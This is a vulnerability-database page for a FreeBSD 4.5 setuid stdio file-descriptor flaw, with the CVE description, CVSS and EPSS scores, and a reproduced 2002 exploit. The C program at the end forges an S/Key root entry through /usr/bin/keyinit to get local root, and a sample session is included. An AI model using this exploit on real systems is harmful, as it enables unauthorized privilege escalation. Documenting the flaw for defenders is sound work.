CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
FreeBSD 4.5 and earlier, and possibly other BSD-based operating systems, allows local users to write to or read from restricted files by closing the file descriptors 0 (standard input), 1 (standard output), or 2 (standard error), which may then be reused by a called setuid process that intended to perform I/O on normal files.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
3.22%
–
–
2022-02-13
–
–
3.22%
–
–
2022-04-03
–
–
3.22%
–
–
2022-09-18
–
–
3.22%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-12-22
–
–
–
0.09%
–
2025-02-16
–
–
–
0.09%
–
2025-01-19
–
–
–
0.09%
–
2025-02-16
–
–
–
0.09%
–
2025-03-18
–
–
–
–
0.21%
2025-03-30
–
–
–
–
0.21%
2025-04-15
–
–
–
–
0.21%
2025-04-15
–
–
–
–
0.21,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
source: https://www.securityfocus.com/bid/4568/info
It has been reported that BSD-based kernels do not check to ensure that the C library standard I/O file descriptors 0-2 are valid open files before exec()ing setuid images. Consequently, I/O that are opened by a setuid process may be assigned file descriptors equivelent to those used by the C library as 'standard input','standard output', and 'standard error'.
This may result in untrusted, attacker supplied data being written to sensitive I/O channels. Local root compromise has been confirmed as a possible consequence.
*/
/*
phased/b10z
phased@snosoft.com
23/04/2002
stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE
decided to make a trivial exploit to easily get root :)
> id
uid=1003(phased) gid=999(phased) groups=999(phased)
> ./iosmash
Adding phased:
<--- HIT CTRL-C --->
> su
s/key 98 snosoft2
Password:MASS OAT ROLL TOOL AGO CAM
xes#
this program makes the following skeys valid
95: CARE LIVE CARD LOFT CHIC HILL
96: TESS OIL WELD DUD MUTE KIT
97: DADE BED DRY JAW GRAB NOV
98: MASS OAT ROLL TOOL AGO CAM
99: DARK LEW JOLT JIVE MOS WHO
http://www.snosoft.com
cheers Joost Pol
*/
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
while(dup(1) != -1);
close(2);
execl("/usr/bin/keyinit",
"\nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n");
}